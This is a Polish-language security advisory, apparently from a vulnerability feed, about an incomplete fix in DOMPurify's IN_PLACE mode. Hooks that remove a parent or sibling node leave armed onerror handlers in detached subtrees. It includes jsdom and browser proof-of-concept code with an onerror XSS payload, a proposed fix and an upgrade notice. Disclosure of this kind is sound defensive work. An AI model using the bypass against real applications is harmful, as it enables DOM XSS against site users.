DOMPurify IN_PLACE: hook usuwający węzeł nadrzędny lub siostrzany pozostawia uzbrojone procedury obsługi zdarzeń w odłączonym poddrzewie (niekompletna poprawka dla GHSA-p98j-92pf-mc4p)
Podsumowanie
Poprawka 3.4.16 dla GHSA-p98j-92pf-mc4p obejmuje wyłącznie hook, który usuwa węzeł, dla którego został wywołany. Jeśli hook w trybie IN_PLACE usuwa inny węzeł, na przykład węzeł nadrzędny bieżącego węzła lub węzeł siostrzany, który nie został jeszcze odwiedzony, to poddrzewo nigdy nie zostanie przejrzane ani zneutralizowane. Znajdujące się w nim procedury obsługi zdarzeń pozostają na elementach, a zasób <img onerror>, który już się ładował, uruchamia się po zakończeniu działania sanitize().
W pliku README podano: „Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns.” Zasada ta nie sprawdza się, gdy odłączonym węzłem nie jest węzeł przypisany bezpośrednio do danego hooka.
Testowane wersje
- 3.4.16 (najnowsza) oraz main pod commitem 18f8f0e
- także 3.4.15, 3.4.12 oraz 2.5.8
Do poniższej macierzy użyto jsdom, a do weryfikacji faktycznego wywołania zdarzenia użyto Chromium (Playwright).
Szczegóły
src/purify.ts linia 2134 (dist/purify.cjs.js linia 2009 w 3.4.16), _handleHookDetachedNode():
if (currentNode === root || getParentNode(currentNode) !== null) {
return false;
}
if (IN_PLACE) {
_neutralizeSubtree(currentNode);
}
Kod sprawdza jedynie, czy currentNode utracił swój węzeł nadrzędny. Kiedy hook usuwa currentNode.parentNode (lub dowolnego przodka), currentNode nadal posiada węzeł nadrzędny, więc nic się nie dzieje. Reszta usuniętego poddrzewa nie jest już osiągalna dla walker'a i nie znajduje się w DOMPurify.removed, przez co przebieg po przejściu drzewa również jej nie uwzględnia. To samo dzieje się, gdy hook usuwa późniejszy węzeł siostrzany. Dotyczy to wszystkich pięciu hooków elementów i atrybutów.
PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document
for (const mode of ['self', 'parent', 'nextSibling']) {
const DOMPurify = createDOMPurify(win)
doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
'<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
const root = doc.getElementById('root')
const evil = doc.getElementById('evil')
// app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
if (node.getAttribute && node.getAttribute('class') === 'bad') {
if (mode === 'self') node.remove()
if (mode === 'parent') node.parentNode.remove()
if (mode === 'nextSibling') node.nextElementSibling.remove()
}
})
DOMPurify.sanitize(root, { IN_PLACE: true })
console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}
Wynik na 3.4.16:
3.4.16 self onerror = null
3.4.16 parent onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"
W trybie self walker nadal dociera do drugiego obrazu i usuwa onerror. W pozostałych dwóch trybach drugi obraz zostaje odłączony z zachowaną procedurą obsługi zdarzeń. Taki sam wynik występuje w przypadku każdego z hooków: beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes oraz afterSanitizeAttributes.
PoC (przeglądarka)
To samo zachowanie na rzeczywistej stronie serwowanej z 127.0.0.1 i otwartej w Chromium:
<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
const D = DOMPurify(window);
D.addHook('afterSanitizeAttributes', n => {
if (n.getAttribute && n.getAttribute('class') === 'bad') {
if (mode === 'parent') n.parentNode.remove();
if (mode === 'self') n.remove();
}
});
const root = document.createElement('div');
document.body.appendChild(root);
root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
D.sanitize(root, { IN_PLACE: true });
return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
document.getElementById('log').textContent =
'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>
Wynik na 3.4.16:
version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]
Zwrócone drzewo jest czyste w obu przypadkach, jednak procedura obsługi na odłączonym obrazie wykonuje się na stronie dla parent.
Wpływ
Aplikacja korzystająca z trybu IN_PLACE z hookiem usuwającym element nadrzędny (wrapper) lub sąsiedni (na przykład „usuń cały <figure>, jeśli jego obraz jest niedozwolony”) staje się podatna na DOM XSS z wstrzykniętego przez atakującego kodu po powrocie z sanitize(). Wymaga to użycia takiego hooka, więc podlega pod kategorię „input plus an application choice” w pliku SECURITY.md, narusza jednak gwarancję zapewnianą w README dla węzłów odłączonych przez hooki i powiela schemat z GHSA-55q2-fjhq-7xh7 oraz GHSA-p98j-92pf-mc4p.
Proponowana poprawka
Zamiast sprawdzać tylko currentNode, należy po każdym wywołaniu hooka weryfikować, czy cokolwiek poza bieżącym węzłem zostało odłączone. Dwa proste rozwiązania:
- przed wywołaniem hooka w trybie
IN_PLACEzapamiętać kolejny węzeł, który odwiedzi walker, oraz przodków bieżącego węzła; po wykonaniu hooka zneutralizować te z nich, które nie są już podpięte podroot - lub po przejściu drzewa zneutralizować każdy element, który znajdował się w pierwotnym drzewie, ale nie jest już połączony z
root(na przykład zbierając elementy przed przejściem drzewa)
Co trzeba zrobić
Zaktualizuj pakiet dompurify do wersji 3.4.17 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | dompurify | < 3.4.17 | 3.4.17 |
Odnośniki
- Wektor CVSS
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-693, CWE-79- Platforma
- npm
- Paczka
dompurify- Ujawniono
- 22.10.2026
- Aktualizacja
- 24.10.2026 00:07
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-mrv2-3pqr-j5jr - CC BY 4.0
Historia podatności: dompurify
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 33
- Pierwsza → ostatnia
- 08.2020 10.2026
- Bez poprawki
- 1
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 3
- Wysoka 4
- Średnia 19
- Niska 7
Ujawnienia w latach
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 25
-
DOMPurify IN_PLACE: hook usuwający węzeł nadrzędny lub siostrzany pozostawia uzbrojone procedury obsługi zdarzeń w odłączonym poddrzewie (niekompletna poprawka dla GHSA-p98j-92pf-mc4p) ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.